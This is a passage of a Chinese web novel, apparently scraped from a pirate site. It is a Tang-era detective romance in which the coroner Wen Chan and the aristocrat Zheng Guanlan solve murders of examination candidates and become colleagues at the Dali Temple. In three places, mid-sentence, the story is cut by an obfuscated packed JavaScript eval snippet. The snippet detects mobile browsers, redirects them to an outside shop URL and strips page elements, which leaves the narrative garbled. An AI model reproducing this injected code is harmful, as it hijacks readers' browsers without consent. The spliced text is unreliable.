“文章写得更好。我记得那个颜青还没未满十八,对刑名之学竟然能有如此见地,实在是了不得。” 二人抬起头,对视一眼,达成共识——今年一定要把这个人抢到手! 宴会结束,蔡真还要和人交际,闻蝉觉得很是无趣,准备去客院逛逛。 听说文安郡公喜好风雅,那院子自然是很美的。 闻蝉没有失望,客院旁有一条小径,两边都是密密的树,树还是绿的,走在其中,像是到了春日似的。 一个身影忽然在眼前闪过。 竟然是那个颜青? 闻蝉立即上前,唤了一声。 “颜郎君?” 颜青也一脸惊喜:“闻仵作?” 闻蝉主动行了一个礼。 “那日在宫里的事情还没有谢过,请受我一拜。” 颜青伸出手又缩了回去。 “闻仵作不必多礼,都是应当的。” 闻蝉眉头微皱。 这个颜青……怎么有些奇怪?这个身形和动作……像个小娘子? 她面上未显,找着话题,悄无声息靠近了些观察。 “小郎君今日那篇文章写得真好,连少卿都连口称赞。” 颜青面露失落。 “我是很喜欢刑名之学,只是……都说这不太体面。” 闻蝉急忙道:“你在刑名之学上极有天分,何必听旁人的话” 颜青有些羞涩:“我从小就跟着师父瞎学,确实喜欢断案验尸。” 没想到这个出身世家看上去还白白嫩嫩的小郎君还会验尸? 闻蝉十分惊讶:“你会验尸?” 颜青笑了笑。 “我也是看你是仵作才……我师父就是个仵作。” 闻蝉心中更生出几分亲近,和他继续搭话。 “我看瞧你的意思,说想要做刑名官员了?” 颜青摊手:“我倒是想,只是哪里由得我啊。” 闻蝉连忙道:“你放心,只要有机会,我帮你敲敲边鼓。” “这怎么好意思?” 闻蝉笑得意味深长:“若你日后能来大理寺就最好不过。” 二人说着话就回到了前院,一进去就碰上了郑观澜,闻蝉不顺气,找了个借口就走了。 见对方的模样,郑观澜也不顺气,扭过头都不想多看对方一眼。 然而,偏偏冤家的路格外窄。 二人还是撞上了。 闻蝉本是早一步离开,同行的蔡真却忘记拿走颜青的文章,又折返了回去。 她只好在门口等着。 郑观澜一出来,二人就撞了个正着。 闻蝉没有躲,就当对方不存在一样。 反倒是郑观澜忍不住主动上前搭话。 “颜……李成芳的事,御史台已经在肃王殿下的敦促下开始审讯了。” “审不审不都一个结果吗?” “你今日来,是为了和周夫人见面?她知道你父亲之死的真相?” 郑观澜猛地冒出这句话,让闻蝉心尖一颤。 这个郑狗怎么怎么敏锐! “你怎么对我的事情怎么感兴趣啊?” 郑观澜脸瞬间变红。 “谁对你感兴趣了!你真是……厚脸皮!” “那你干嘛老问我的事?喜欢我啊?” 郑观澜被堵住了嘴。 闻蝉再次胜利,拍拍衣角,十分潇洒 “走咯——” 26. 画笔杀人 二月十八,中榜的名单公布。 郑观澜、颜子光、颜青都榜上有名,只等殿试皇帝亲自点出状元。 然而,就在这个节骨眼儿上,出了一桩离奇的命案。 “已经死了两个人了!一个是夏侯家的夏侯毅,说是打马球的时候,他出去遛弯,被人用箭射死了。另外一个是郭守备家的郭牧,这人是倒霉,刑部说他是嫌犯,去捉拿他的时候,他情绪过于激动心疾发作而死。”卓啸咂嘴,“才出了榜,就出这种事真是不吉利。” 闻蝉抬起头,放下笔。 “心疾发作?我记得那个郭牧没什么病啊,前段时日,在郡公府上他还射箭来着?” 卓啸大呼:“这谁知道?” 门被推开,蔡真走了进来,把一厚沓卷宗放在桌上。 “这案子不对劲。” 闻蝉去拿卷宗。 “有啥问题?” 蔡真按住卷宗。 “不是这个,是卓大郎方才说的案子有问题。” 闻蝉点头:“按规矩,这案子应当是京兆府管,刑部的人去凑什么热闹?捉个人还闹出人命来了?死的还都是今科举子,太古怪。” 她忽然灵光一现,一把拉住蔡真。 “少卿,我们把这案子抢过来呗!” 蔡真斜眼:“你手上的事情都做完了?” “我一个人干八个人活儿好吧!”闻蝉指着书架上密密麻麻的卷宗,“卷宗文书都是我管!尸是我验,就连大黄耳都是我在喂!” “那你还找事做?” “颜青颜青啊!”闻蝉激动道,“你把案子接下来,让颜青来协助,到时候案子破了,她有了这个功劳当状元的机会更大,心里也记着我们的好,这样以后要她到大理寺不就更顺理成章了吗!” “他能行?” “肯定能行!我那日和她说话,她是懂验尸破案的,上过手,有经验呢。” “当真?!” 大理寺缺的就是有经验的人。 蔡真没有犹豫,当即整了整衣冠朝着宫里去了。 卓啸听得迷糊。 “颜青?就是那日给你出头那个小子?”他撇撇嘴,“人是不错,就是是个小矮个儿。” 闻蝉微笑:“我们老家有句俗语……” “你又要骂人?” “高是高,大草包。” 男女都分不清,和郑观澜那傻子一样。 *** 案子被大理寺接了下来,但皇帝也给出了个难题。 在肃王的建议下,皇帝把这案子当做一个考题,准许所有进士参与调查。 两具尸体也运到了大理寺。 闻蝉看着自己的验尸房被挤得水泄不通,十分着急,冲到前面威胁了一通,把那些人吓得不敢乱动才又回了值房。 她一边写着卷宗一边骂人。 “该来的不来,不该来的来一堆,坏了老子验尸房的风水,阴气都不足了……” 越想越不放心,闻蝉还是撂下笔,去了验尸房。 没想到正好碰见了刚到的颜青。 颜青今日身边还跟着四人。 一个文气的,正是之前李九珠提起过的百里弗。一个俊美的,又是王家人,只是这人名声不错,是王家的大郎王子迁。还有个看着病怏怏的,是兵部侍郎家的儿子,仿佛叫什么袁少轩? 最后一个……自然就是闻蝉特不想见的郑观澜。 还是那副傲气模样,真讨厌! 她请几人在外坐下,和颜青寒暄了几句,忍不住抱怨。 “来一堆人堵着,我连尸体都还没看一眼。” 百里弗以为是说自己,急忙解释:“我们是郭牧他们的好友,只是来看看。” 闻蝉回忆了片刻。 “家里人一个都没来,反倒是朋友来了。” “他们二人在家中向来不受重视。” 闻蝉哪里不知道这些世家的做派。 “世家淡泊,我们这些人确实理解不了。” 郑观澜自然听得懂话里的嘲讽。 “此处气味实在是刺鼻。” 二人新仇旧恨加一起,也算是半个不共戴天。 闻蝉眯起眼,笑得露出一排森森白牙。 “是我们失礼。来人,快把验尸房熏一熏,别让尸气把这些郎君们熏到了。” 都是老相识了,衙役自然知道她在整人,立即去抬了一大桶药醋,往验尸房门口的火坑一泼。 一大股醋味和药味立即散在空中,闻得人想吐。 郑观澜对气味十分敏感,面色都变了 可怜了无辜的其他人。 百里弗求饶道:“已经没有味道了,闻录事……” 停手吧! 闻蝉满意欣赏着郑观澜的表情。 “郑郎君觉得呢?还有没有味道呀?” 郑观澜扛不住了,只能认输。 “确实没有味道了。” 闻蝉这才放过他们。 只是没想到,这味道竟然意外熏跑了那些堵在里面的人。 验尸房空了出来,几人这才得以进去验尸。 颜青很是体贴,自己一个人上手就开验。 闻蝉只在一旁协助。 夏侯毅的死因倒是没什么疑点,确实是死于中箭导致的失血过多。 只是那箭是被凶手亲手刺入的。 郭牧的死确实是心疾,但王子迁说郭牧的心疾早就好了,可见,他的死也是凶手的设计。 现在的疑点只有两个。 一个是夏侯毅身上无搏斗痕迹,却被刺死,应当是中了迷药,而郭牧心疾发作应当也是药物导致的。 这需要更仔细的检验。 只是天色已晚,闻蝉接下了之后的事,其余人就先走了。 熬了一个通宵,闻蝉终于在死者的鼻腔中发现了异常。 夏侯毅的鼻腔中有迷药残留,而郭牧的鼻腔中有夹竹桃粉。 等这两点终于验出来的时候,天已经微微亮,闻蝉回了值房暂时歇息,等着颜青来。 然而,等了一日还不见颜青来,一个消息就砸到了她的脑袋上。 深夜,当值的衙役们说起了今日听到的传闻。 “你们听说没,那个郭牧和夏侯毅是被人用妖术害死的!” “听说了听说了!可真吓人啊,说使妖术的就是和他们同科的那个百里弗。他有一支笔,只要画下了谁,就能操纵谁的生死。他之前画了一幅画上就有夏侯毅和郭牧,这俩人死后,那画上他们两个的画像也消失了。” “什么仇什么怨啊……” “嗐,能为什么啊!那个百里弗出身不好,被这些世家子弟欺负狠了呗。” 一声声议论透过窗户,落入闻蝉耳中。 这种鬼话她自然不信,但…… 不好!!! 闻蝉冲了出去。 “卓啸呢!” 聚在一起的衙役齐齐转过头。 “回家去了,今日不是他当值。” “你们去,马上把那个百里弗捉来。” 衙役愣住,其中一个穿着官服的年轻官员走了过来。 “大家几句闲话而已,你还当真了?” “你也不动脑子了?这案子本就古怪,突然传出这样的话,明显是有人在针对百里弗。你别忘了,被诬陷成妖人而获罪的情况也不是没有。” “百里弗出身平平,谁会为了针对他做下这么大的案子?夏侯家和郭家是好得罪的吗?” “今年状元人选就从百里弗、颜青和郑观澜三人里出了,你说百里弗有没有被害的价值。”闻蝉催促道,“快去!” *** 四具尸体依次摆在闻蝉面前。 夏侯毅,郭牧,王子迁,袁少轩。 没有一个超过了三十岁。 都是最好的年纪,人生的路刚刚开始。 凶手被颜青揭开了真面目,自然不是百里弗,而是他们的一位夫子,帮凶纵容者却是他们的亲人。 殿试将要开始,也无人来收尸。 闻蝉将他们的尸体一一整理好,让人抬去了冰窖中暂时存放。 一切做完之后,天都快黑了。 闻蝉收拾好东西准备回家,一出大理寺大门就撞见了正在给衙役塞钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可能是真凶为了灭口所为,不继续查吗?” 他的语气有些急躁。 闻蝉却十分淡定。 “这世上破不了的案子很多很多,颜青都没办法,你以为凭你一腔热血就能把案子破了?”她语气稍缓,“看开点吧。” “在你眼里,颜青就样样能行?”郑观澜目光灼灼盯着她。 “对啊!她比你可是厉害不少。”闻蝉继续刺激他,“我要是你就回去好好准备殿试,别到时候状元的位置都轮不到你。” 郑观澜被成功气回家了。 *** 一进门,见他脸黑得滴水的模样,成生就敢笃定——一定是被闻娘子气的! “郎君……县主传话,让您过去一趟。” 郑观澜这才清醒了些。 “母亲可有说是有何事?” “没有。” “不去。”郑观澜整了整衣冠,“让你去办的事办好了吗?” “都办了。中书令最信任的那几位宾客把礼都收下了,他们也应了您的要求,到时,自会为您游说中书令同意您去大理寺一事。”成生还是没憋住心里话,“您好好的为何想去大理寺?是为了闻娘子吗?” 郑观澜手都攥成了拳头。 “谁会为了她!你脑子里装的都是些什么!” 成生被骂得把脑袋都耷拉了下来。 “哦……” 郑观澜深吸了几口气,瞟了一眼屋内。 “乌玄呢?” 成生:“您忘记啦,昨儿您在外面摸了别的猫,被乌玄闻出来了,到现在还在和您吃醋赌气呢。” “怎么这般小气?”郑观澜也不管那小气的猫儿,往院外走去。 成生嘀咕着。 “物似主人形……” 27. 冤家聚头 殿试就在今日。 闻蝉天不亮到了大理寺,又是泡茶又是给徐数按肩,殷勤非常。 “您老人家记住,一定不要紧张,咱们大理寺空缺的可是八品官职,比他们都有优势。” 郎荣更夸张,跪在地上给徐数捶腿。 “对,到时候,您就把其他人当成大白菜。” “还有和人争论时一定得记住,千万别接茬,接茬就是输,您只管说您自己的。”拥有极其丰富的吵架经验的闻蝉向他传授独门秘诀。 徐数还是坐立不安。 “老蔡怎么就非得今日出外差呢?我一紧张就……就……就结巴,殿试的时候抢人哪里抢的过御史台那群碎……碎嘴子?” “借力打力!御史台就御史大夫口舌功夫最厉害,您先别急着出面,让他去闹,等颜青的状元之位稳当了,您直接一招釜底抽薪!我打听过了,御史台那边只缺九品官,您到时候就揪着这一点不放,颜左丞自然知道选哪边!”闻蝉端起茶双手奉上,“这可是皇后殿下那日赏的好茶,您再喝一口,保管咱们今日顺顺利利把颜青抢到手!” 徐数接过茶盏,猛地灌了一口,缓缓站起,一脸郑重,紧紧握住拳头。 “今日我定然要把那……那……那颜青抢到大理寺!” 他说完迈着坚定的步伐向外走去。 郎荣坐在地上,绝望捂住嘴。 “我觉得……” 闻蝉一个眼刀杀来。 郎荣立即话锋一转:“肯定能行!” 然而,结果却太过出乎意料。 两个时辰后,徐数垂头丧气回了大理寺,看着一脸期待的属下们,他摇摇头。 卓啸是很高兴的。 他不喜欢颜青。 其余人都不太高兴,尤其是闻蝉。 啊啊啊啊!那女扮男装的小娘子要是去了其他衙门被人揭穿身份怎么办啊啊啊啊啊啊! 郎荣试图挣扎:“寺卿……真没成?” 徐数随意找了个凳子坐下。 “成了一半。” 闻蝉挤到最前面:“什么叫做一半?” 难道是状元的事情没成,但是人还是分到了他们大理寺? 她这样期盼着。 徐数这个时候不结巴了,他拍桌大骂:“郝通那个老东西!平日里装老实!会咬人的狗不叫,竟然拿出来七品司法参军的位置来!” “京兆府的司法参军?那可是个不小的官!”郎荣安慰道,“这……咱们是争不过。” 闻蝉也想得开:“算了,好歹她得了个状元,日后都在京城共事,又什么事也能互相帮忙。” 卓啸脸上挂着笑。 “那评事的位置给了谁呀?” 徐数的表情瞬间凝固,小心翼翼看了闻蝉一眼。 “阿……阿……阿蝉呐,我……我说……了你你别着急啊……” 闻蝉有些莫名:“我着啥急啊,反正又轮不到我。” 徐数扯了扯嘴角。 “郑……郑……” 闻蝉面无表情捂住他的嘴:“郑观云对吧?” 徐数摇头。 郎荣看热闹不嫌事大,笑嘻嘻插嘴。 “郑观云没考上呢,肯定是郑观澜!” 徐数点头。 闻蝉气得嘴都歪了。 徐数劝道:“其实郑六郎人也还好。” “得了吧。”卓啸就像是看不来眼色一样,“一个只会读书的世家子,人还拽得二五八万似的,来了就只能添麻烦,偏偏坐的还是专官审理案子的评事的位置,以后我们麻烦可不少了。” 众人都沉默了下来。 这个想法说中了大理寺中绝大部分人的心思。 大理寺的公务本就多,颜青性子随和,能力也有目共睹,来了之后人人都能轻松些。 郑观澜……又不懂断案,到时候事情是他们做,功劳是别人得,谁能开心啊? “都散了吧。”闻蝉恢复了平静,走了出去,“过几日,别人来了还得好好欢迎欢迎呢。” 郎荣龇牙咧嘴:“完了,这是气疯了。” *** 另外一边的郑观澜完全不知晓自己将要面对什么,正悠闲地躺在软榻上,一边摸着猫儿一边让成生去准备给同僚的见面礼。 成生倒是感觉到了些许异样,用自以为委婉的话问道:“闻娘子知道吗?” “她?她知道什么?” “您去大理寺任职的事啊。” “她定然知晓。”郑观澜白了他一眼,“你问这个做甚?她知不知晓很重要?” “没……没什么……只是郎君日后要和闻娘子好好相处。” 郑观澜盯着他。 “你是被伯父附身了?” “啊?” “伯父今日也说让我去了大理寺之后好好向她学。” 成生附和道:“闻娘子脾气是大了点,但确实有本事啊。” “郎君。”一个小厮走了进来,“夫人和阿郎让您过去用膳。” 郑观澜:“有事。” 小厮也没多问一句,就退了下去。 成生说道:“郎君,夫人他们叫您过去应当是要为您庆祝……” 郑观澜闭上眼,背过身。 “下去吧。” 谁信啊…… *** 到了报道那一日,郑观澜起得比往日还早了几分,穿戴好官服去了大理寺。 这青色无绣纹的官服瞧着平庸,穿在他身上倒是硬生生穿出了住了一股子青玉竹雕的贵气。 徐数和蔡真对他的态度都很客气。 “日后有什么不懂的可以直接来找我们,你的值房也安排好了,到了大理寺就安心办差,等会儿让老梁带你过去,缺什么给他说一声。” 徐数指了指旁边的一个老差役。 郑观澜拱手道:“下官谢过徐寺卿。” 蔡真接着说道:“大理寺和其他衙门不同,不清闲,公务繁多,虽说是卯时上值,未时散值,但是大部分时候都得拖到黄昏才能把事做完,每日还要有人宿直。宿直的人选是轮流来的,谁都要做,你明日来时记得带些起居所用之物。” “下官明白了。” 郑观澜没有半分不满,还十分谦逊,蔡真很满意。 二人要嘱咐的事情也就这么多,老梁就先带着人先去了值房。 人一走,徐数才开口道:“恒定。阿蝉和郑六郎很是不对盘,你怎么把二人值房都安排在一处?” “阿蝉擅长实干,让她带着郑六郎不好吗?” 徐数笑了:“我是怕她公报私仇。” “阿蝉是憎恶世家,但下手有轻重。况且,我也是为她好。郑六出身高贵,日后一起出门办案能免去她不少麻烦。”蔡真嘴上这样说,双眼却有些失神。 “恒定啊,我怎么觉得你最近都有些心神不宁?” 蔡真摇摇头,还是秉承了一贯的风格——不说话。 徐数和他相识数年,了解他的性子也了解他的过往。 “是因为阿蝉父母的事?当年你也只是县衙中一个小小的县尉,李家要害人,你哪里能够阻挡得住呢?这么多年,你把阿蝉当成半个孩子一样教导也算是尽了心力了。” 蔡真按住自己的心口。 “我还是……心中有愧。” *** 老梁性子很好,家里几代都在大理寺做差役,对谁都是一副笑脸。 他一路引着路,顺道给郑观澜指了大理寺的内部位置。 “我们刚刚在的地方就是议事厅,出来左边就是放典籍书册的地方,面前就是日常审讯用的大堂,从这儿后面过去左边就是验尸房,阿蝉的地盘,这个您熟悉啊。再往前走到头是公厨,往里是监牢。往外是衙役们住的地儿……” 走到一处小院,院内忽然传来两声拖得极长且古怪的狗叫。 “汪儿——” 老梁停下脚步,笑容有些僵硬。 “您值房就在里面的东屋了。” 他伸长了手推开门,脚步却停在远处没动。 郑观澜没多想,道了声谢便向里走去。 一跨进院门,一只白棕相间的狗冲了过来。 那狗长得很奇特,个头中等,大眼方嘴,一对大大的耳朵垂着,看上去一脸老实相。 郑观澜向后退了一步。 “郑评事来啦!”闻蝉笑眯眯从西屋里走出来,抬抬手招呼住了那只狗儿。 “闻蝉?”郑观澜有些意外,“你……这狗是你的?” “不算。”闻蝉双手举起那只狗,往前一送,“这可是我们大理寺的宝,叫大黄耳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823363|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送给你。” 耷拉着的狗脸近在眼前,水汪汪的狗眼睛眨了眨。 郑观澜侧过头不去看那张让人生出怜爱的狗脸。 “你觉得我像傻子吗?” 闻蝉双手默默收回去,表情变得和大黄耳一样委屈。 “你这是什么意思?” “你这是想整我吧?” 闻蝉抬眼:“大黄耳是我在西市一个番人那里买来的西域猎犬,嗅觉极其灵敏擅长追踪搜查,又听主人的话。我是看你不会办案,才想着……你竟然这样想我,真是小人之心!” 大黄耳也像是应和一般,扯长了脖子发出一声像驴叫的狗叫声。 “二十两买来的啊。”闻蝉揉着狗耳朵,面露不舍。 郑观澜伸手:“拿来。” 闻蝉这才笑了,把狗塞他怀里。 “但是啊,大黄耳不能带回家,它也是大理寺的一员啊。” 大黄耳在怀里拱来拱去,力气大到郑观澜有些站不住。 “这叫送?” “你要搞清楚,卓啸他们来借大黄耳办事都不一定借得到,能把驱使权送一点给你已经很给你面子了。” 砰砰。 乱甩的狗尾巴正打在郑观澜的腰上,打得砰砰响。 他默默吸了口气。 这狗的力气…… 他把狗放下,觉得自己有可能是上当了。 闻蝉凑近:“要不是想着你之前在龙门山庄帮过我,我们也算旧相识,我才舍不得呢。” 郑观澜态度一转。 这狗是看上去像个好帮手。 之前他也听颜青说起过,他们老家的县令会用狗来帮助破案捉拿犯人。 “那就……多谢你了。” 闻蝉拍了拍他的肩:“以后我们就是同僚了,哪里来的谢字呢?” 这样友善……郑观澜忍不住嘴快。 “你是闻蝉吗?” 闻蝉脸上的笑容僵硬了一瞬。 “你这是什么话,之前都是我不好,我是个急脾气,对你没恶意的,你不要介意啊。” 郑观澜脸冷了下去。 “你是不是想打听颜十六的事情?” 被戳穿的闻蝉面不改色。 “哦!我都差点忘记了呢,十六怎么成了驸马啦?” “不知道!” 果然又是为了那个颜青! 郑观澜一甩袖子,朝着东屋走去。 闻蝉锲而不舍跟上去。 “赐婚的圣旨是曲江宴第二日下的,肯定是因为曲江宴上发生了什么,你们在一块怎么会不知道呢?” 郑观澜停住脚步,盯着她:“义阳公主和十六情投意合。” 闻蝉脸都皱起来了。 颜青是个小娘子啊!她怎么会和公主情投意合!这也太见鬼了吧! “反正此事与你无关。”郑观澜语气重了些,“十六已经是有妇之夫,你要和他注意保持距离,以免遭人非议。” 闻蝉也不能把真话说出来,憋得脸都发红了。 “你真的很傻。” 相处那么久,连别人是男是女都分不清。 郑观澜冷笑:“你总算露出真面目了。” “郑观澜,你觉得小娘子应该是什么模样啊?”闻蝉忽然问道。 “反正不该是你这模样。”郑观澜补充了一句,“何七郎幼时都比你像小娘子些。” 这种话对闻蝉不造成任何伤害。 “哦,所以呢?” “反正……反正你别肖想了!”郑观澜警告道,“婚事是义阳公主主动求的,颜青也很乐意,你要敢做什么,公主你能惹得起吗?” 闻蝉瞥他了一眼。 “对对对,我肖想别人。” 她说完转头就走,在院内疯跑的大黄耳也立即跟在她脚边。 郑观澜说道:“不是说狗送给我吗?” 闻蝉头也不回:“你叫它一声,看它应不应啊。” 郑观澜想着那狗一脸老实相,还真叫了一声。 “大黄耳,过来。” 没想到,大黄耳就像是没听到一样,屁颠屁颠跟着闻蝉进了屋,连个磕绊都没打一下。 这翻脸不认人的样子! 郑观澜捂住隐隐作痛的腰。 “物似主人形!” 28. 缺憾 虽说二人做同僚的第一日就起了小小的冲突,但是接下来一段时日还算是和平。 至少只在院内真刀真枪比划了三次。 这让一直悬着心的徐数松了一大口气。 人伤了自己可以去治,东西打坏了得花真金白银修啊! 郑观澜对大黄耳的看法也产生了很大的改变。 这狗确实很爱叫,精力也旺盛得吓人,一日有大半日都在院子里跑,但意外的乖顺亲人,从来不咬自己人。 哪怕他不小心踩着了狗尾巴,大黄耳也只会呜呜两声就算了。而且,闻蝉那话也没有骗人,大黄耳的嗅觉灵敏至极,别说卓啸那一伙差役,就连金吾卫都经常拿着银钱来借大黄耳去捉贼。 郑观澜蹲下身,摸了摸狗头。 “比你主人讨人喜欢多了。” 大黄耳又叫了两声,叫声又短又急促,像是在回嘴。 “不能说她坏话?我对你这么好,也不行?” 大黄耳摆摆头,大耳朵一跳一跳的。 “真成精了。”郑观澜问道,“那我问你,她今日不在值房跑哪儿去了。” 大黄耳冲着北面叫了两声。 *** 验尸房。 今日验尸房有些“热闹”,摆了十几具尸骨。 闻蝉站在一具尸骨边上,手里拿着纸笔不知道在写什么。 郑观澜推门而入,被眼前景象吓了一跳。 “哪儿来这么多尸骨?” 闻蝉扭了扭酸痛的脖子。 “龙门山庄挖出来的,等会儿有人要来认尸,我再核对一下身份。” 郑观澜站在门口,扫了一眼。 她手下的纸上写着死者的特征。 这一点。 他不得不服。 即使只剩下骨头,她都能分析出一二特征,并且根据这些特征找出死者身份。 “失踪的人……你有名单?” “对啊,不然我再厉害,也猜不出身份啊。” “闻娘子!”衙役在外面喊道,“来了俩人说找您有事。” “是两个男的,一高一矮吗?” “不是,是一男一女,男的长得又高又俊,女的也很好看,笑起来甜兮兮的,那个小娘子说自己姓林,是你友人。” “是认识,你快把人直接叫这儿来。” 衙役朝郑观澜点了点头就急匆匆离开。 “是什么人?” 闻蝉放下纸笔,冲着他笑了一下。 “你也认识。” “我认识?” “是啊!”闻蝉站在门口,看着远处。 片刻后,有些眼熟的两个人影走近。 “闻娘子!是我来晚了!”一个面容清秀的小娘子快步而入,后面还跟着一个高大俊朗的男子。 郑观澜有些错愕,看着那小娘子,失声道:“林斯?” 来者正是之前在龙门山庄有过交道的戏班少班主林斯和魏有风。 “郑郎君也在?”林斯也很意外,见他还穿着官服,“你现在也在大理寺啊?” 闻蝉撇撇嘴:“我顶头上司。” 语气里满是埋怨。 林斯捂嘴一笑,朝她挤了挤眼。 “那你们大理寺可热闹了。” 几人相互见了礼。 闻蝉说道:“没良心。怎么今日才来?” 林斯解释道:“哎呀,我前几日接到消息就先去准备棺材了,实在是忙不过来,这才来晚了几日。” “是需要不少棺材,你带的人手够吗?” “够的够的!师兄叫了六个人来帮忙。”林斯拱手算是谢过,“就不麻烦你们了,我看你们大理寺都忙得脚不沾地。” “这事儿不急,你们来了就好。我让你帮忙查的事儿查得怎么样了?” 林斯皱眉。 “别提了,她实在是太过狡猾,一点儿证据都没留。事发当晚我就去搜过,什么都没有搜到。之后又打听了她案发前去过的地方也没有任何线索。” “孔雀胆本就是易得的药材,要做得不留痕迹并不难。”闻蝉语气还是不由失落。 林斯说道:“从山庄出来后,我爹就把他们母子俩赶走了。可惜了豆娘……”她忍不住哽咽,“当时我就说过,那个苏乐不是个好人,她若是听了我的,怎么会吃这么大的苦头?还平白丢了性命。” 魏有风默默拿出手帕给她擦着眼泪。 “‘随其缘对,善有善报,恶有恶报。’只要我这边一直不放手,我就不信她能藏一辈子。”闻蝉将面巾摘下,“先送他们离开吧。” *** 尸骨被装入棺材中,放在一辆辆驴车上,在一片招魂幡的带领下远去。 二人站在门口目送着一切。 “你和林斯果然早就相识。” 闻蝉也没否认。 “你早就知道了吧?” “你对苏乐和魏有风的判断带着明显的偏见,命案发生时,林斯还上着妆,你脱口而出就是少班主,她亦是如此。只是我确实没想到她是女子。” “林斯常常演男角,习惯打扮成男子。” “所以,林斯是你的内应。” “算是吧。林斯他们在山庄偶然发现了尸骨,就来报官。当时正巧我们也在查旧案,就让她先帮忙在山庄里调查了历年来失踪的人的身份。” “豆娘的死……不是鲁铭和齐放?” “你忘记了?伥鬼录里那一卷,根本没提到谁中毒而死,鲁铭和齐放也都否认自己下毒,豆娘的死是其他人做的。” 郑观澜记得。 “苏乐的母亲。她怕怀了苏乐的孩子的豆娘,会影响苏乐之后的婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828944|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。” “八九不离十,可是没有证据。”闻蝉心烦,“真想把他们直接弄死。” “也不是不行。” “诶诶!”闻蝉拍了他一下,“我就顺口一说!你别真信啊,我们是大理寺的人啊,不能这样干。” 郑观澜横了她一眼。 “迂回着来。” “迂回也是违律!” “我只是想让她算盘落空,这也违律?” 闻蝉深知郑家的势力,立即换了表情,笑得相当谄媚,还搓了搓手。 “郑评事有何打算?” “苏乐的生父是谁?” “柳慈,是太常寺的。” “不认识。” 这样芝麻大的官儿,多半还是柳家旁支,怎么入得了他的眼。 “知道名字就行,回去我就让人去办。” 二人往回走着。 “有权有势真好啊。”闻蝉这话没有阴阳怪气的味道。 郑观澜调侃道:“你不是最痛恨权势吗?” 闻蝉背着手:“我怎么不讨厌护国公呢?我这人很公道的,单纯嫉恶如仇,只是恰恰你们这些有权有势的人中恶人的比例很高罢了。” “怎么说你都有理。” “是你的想法很傲慢。”闻蝉直言道,“我知道,你们这些人总以为普通百姓对你们的厌恶是嫉妒导致的仇视,可但凡你们是个好人,百姓会仇视你们吗?我们老家还有人给老丞相修庙呢。” “我是恶人?”郑观澜反问道。 他自认不是什么天大的好人,可是也一直遵循君子之道,从来不做违背道义之事。 可对方向来是粗暴直接地把他划到和那些人一起去。 “这谁知道呢?” 郑观澜一时有百口莫辩之感。 “随你怎么想。” 二人走到院内,值房一左一右,即将分道扬镳。 闻蝉停下脚步。 “你还是想要揪出杀害王子迁的真凶?” “是。”郑观澜说道,“我知道你断案厉害,我们可以做一个交易。” “什么交易?” “你不放弃这个案子,我可以答应你一个要求。”想到对方时而十分不靠谱的行为,郑观澜补充道,“不许开玩笑。” 闻蝉愣了愣。 就算对方不说,她也不可能放弃任何一个案子的追查。 “你也看到了,像是豆娘之死这样的案子多得很,没有证据,即使你我心知肚明凶手就是苏明娘也无能为力。” “我只求一个结果。” 闻蝉好心提醒:“王子迁之死背后所牵扯到的势力十分复杂,你们郑家可能亦在漩涡之中。” 郑观澜没有犹豫。 “我不喜欢看到冤债无头,只求一个结果。即使,那个结果是坏的。” 29. 无耳人头 深夜,醴泉坊。 黑暗安静的街道响起急促的脚步声,忽然,几道火光亮起。 “捉贼啊!” 几个仆人模样的人提着灯笼在街道上追着一个小贼。 小贼穿着一身黑衣,只让人模模糊糊能够看见轮廓。 他钻入四通八达的小巷,几个转弯,就没了身影。 捉贼的人站在巷子交叉口,左看右看,一脸迷茫。 “这个贼……跑哪儿去了?” 他的同伴劝道:“算了算了,反正也没偷着几个钱,我们先回去吧,店上这个时候没人守着,要是再来个贼,那比黄金还贵的酒被人偷了,你我才是落不到好!” 几人向着巷子外走去。 枯井中,逃过一劫的小贼一屁股坐在了地上,他拍了一下身后的地面以示庆祝。 手心一阵钝痛,像是拍到了什么硬物? “点儿真背!”他啐了一口,向后看去。 从井口投下的月光明晃晃的照亮了他的视线。 是一个惨白的人头 “啊——” *** 郑观澜逐渐适应了大理寺的生活。 闻蝉其实就是嘴上刁难,平日里除了打打嘴仗,比划两下,也没真怎么为难他。 当然,主要的原因是——郑观澜还挺好用的! 这人破案除了不行,其他的简直是样样精通。闻蝉毫无负担地把自己一大半的卷宗都扔给了郑观澜,美其名曰——帮助他学习断案勘验。 而悠闲的她此刻坐在书桌前,撑着脸,看着对面埋头苦干的郑观澜,笑了笑。 郑观澜猛地抬起头,双眼隐隐约约带着乌青。 闻蝉大咧咧冲他一笑:“看什么呢?” 郑观澜:“是你在偷看我。” 闻蝉摊手:“我大大方方看的,没有偷看。” 二人面前的窗户都大开着,确实没有偷窥的意味。 郑观澜不自在转过头,把窗户半关上,正好遮住自己的脸。 闻蝉吹了个口哨。 “别害羞啊,小郎君~” 郑观澜砰得一下拉开窗户。 